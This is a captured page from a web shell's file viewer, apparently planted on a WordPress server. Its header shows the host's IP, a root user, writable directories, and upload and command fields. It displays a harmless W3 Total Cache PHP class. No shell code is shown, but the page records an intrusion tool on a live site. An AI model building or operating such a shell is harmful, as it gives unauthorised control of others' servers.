403Webshell
Server IP : 130.225.57.55  /  Your IP : 216.73.216.60
Web Server : Apache
System : Linux wp-vhost07 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/www/reco2st.eu/https/wp-content/plugins/w3-total-cache/Generic_WidgetBoldGrid_AdminActions.php
<?php
/**
 * File: Generic_WidgetBoldGrid_AdminActions.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class Generic_WidgetBoldGrid_AdminActions
 */
class Generic_WidgetBoldGrid_AdminActions {
	/**
	 * Redirect user depending on if boldgrid backup is installed
	 *
	 * @return void
	 */
	public function w3tc_boldgrid_install() {
		$plugin_file = 'boldgrid-backup/boldgrid-backup.php';
		$slug        = 'boldgrid-backup';

		$plugins = get_plugins();

		if ( isset( $plugins[ $plugin_file ] ) ) {
			$install_url = 'plugins.php?action=activate' .
				'&plugin=' . rawurlencode( $plugin_file ) .
				'&plugin_status=all&paged=1&s&_wpnonce=' .
				wp_create_nonce( 'activate-plugin_' . $plugin_file );
		} else {
			$install_url =
				'update.php?action=install-plugin&plugin=' . $slug .
				'&_wpnonce=' . wp_create_nonce( 'install-plugin_' . $slug );
		}

		wp_safe_redirect( $install_url );
		exit();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit